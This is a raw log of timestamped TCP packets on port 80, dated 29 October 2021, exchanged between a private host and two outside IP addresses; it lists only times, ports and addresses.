Oct 29, 2021 14:11:13.944897890 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.947108984 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.949234009 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.949282885 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.949321032 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.949348927 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.949374914 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.949702024 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.949743032 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.949779034 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.949816942 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.949855089 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.949891090 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.949928999 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.949958086 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.951659918 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.953931093 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.956151009 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.960599899 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.966074944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.966121912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.966556072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.969088078 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969129086 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969167948 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969204903 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969242096 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969280005 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969316959 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969355106 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969391108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969429016 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969468117 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969504118 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969599009 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.969636917 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.970020056 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.970073938 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.970123053 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.970170975 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:13.976083040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:13.977921009 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:13.977922916 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.993057966 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:13.993124008 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.006623030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.006676912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.006715059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.006753922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.006792068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.006830931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.006870031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.006908894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.006948948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.006989002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007025957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007064104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007103920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007139921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007178068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007214069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007251978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007289886 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007325888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007363081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007400990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007436991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007474899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007510900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007549047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007587910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007641077 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007678986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007719040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007755041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007792950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.007833004 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.007869959 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.007906914 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.007944107 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.007981062 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.008029938 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.008066893 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.008104086 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.008141041 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.008177996 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.008215904 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.008253098 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.008290052 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.008328915 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.008364916 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.008399963 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.011436939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.011476040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.011513948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.011550903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.011586905 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.011624098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.011660099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.011698008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.011737108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.011773109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.011811018 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.011851072 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.011888027 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.011914015 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.011950970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.011989117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.012027979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.012063980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.012100935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.012137890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.012175083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.012211084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.012248039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.012285948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.014169931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.014209032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.014245033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.014281988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.014321089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.014357090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.014394999 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.014431000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.014467955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.014506102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.016421080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.016460896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.016496897 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.016535044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.016571045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.016608953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.016647100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.016681910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.016719103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.016757011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.018318892 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.018557072 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.018595934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.018634081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.018671989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.018707037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.018744946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.018783092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.018819094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.020788908 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.020816088 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.020876884 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.020942926 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.020967960 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.020976067 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.020978928 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.021012068 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.021018982 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.021040916 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.021054029 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.021080017 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.021104097 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.021858931 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.021898031 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.021965981 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022005081 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022043943 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022080898 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022126913 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022165060 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022200108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022237062 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022274971 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022313118 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022351027 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022386074 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022423983 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022461891 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022496939 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022533894 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022571087 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022608042 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022645950 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022681952 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022717953 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022756100 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022790909 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022828102 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022866011 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.022902966 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.024652958 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.024810076 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.024869919 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.024916887 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.024955034 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.024991035 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.025028944 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.025064945 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.025101900 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.025141001 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.025177002 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.025213957 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.025252104 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.025286913 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.025324106 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.027513981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.028387070 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.028580904 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.028659105 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.028903008 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.028934002 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.045233965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.045288086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.049288988 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.052062035 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.052474976 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.054738998 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.076438904 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076539993 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076577902 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076617002 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076656103 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076692104 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076719046 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076759100 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076796055 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076833010 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076893091 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076930046 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076967001 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.076994896 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077030897 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077069044 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077105999 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077132940 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077171087 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077208042 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077245951 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077284098 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077320099 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077357054 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077383995 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077419043 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077455997 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077492952 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.077518940 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078253031 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078291893 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078330994 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078366995 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078404903 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078443050 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078468084 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078505993 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078542948 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078581095 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078619957 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078655005 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078692913 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078722954 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078758955 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078795910 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078833103 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078871012 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078885078 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.078908920 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078947067 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.078974009 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.079010963 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.079046965 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.079086065 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.079111099 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.085350990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.085392952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.085432053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.085467100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.085505962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.085542917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.085580111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.085618019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.085654020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.085690975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.087788105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.087830067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.087907076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.087949038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.087989092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088026047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088063955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088100910 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088138103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088176966 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088213921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088253021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088291883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088330030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088370085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088407040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088445902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088485003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088521004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088558912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088597059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088634014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088673115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088710070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088747978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088787079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088823080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088895082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088933945 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.088973045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089009047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089057922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089092016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089124918 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089158058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089191914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089226961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089262962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089296103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089329958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089364052 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089396000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089430094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089463949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089498043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089533091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089565992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089601040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089634895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089668036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089700937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089735031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089768887 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089804888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.089848042 CEST	80	50094	193.56.146.214	192.168.2.3
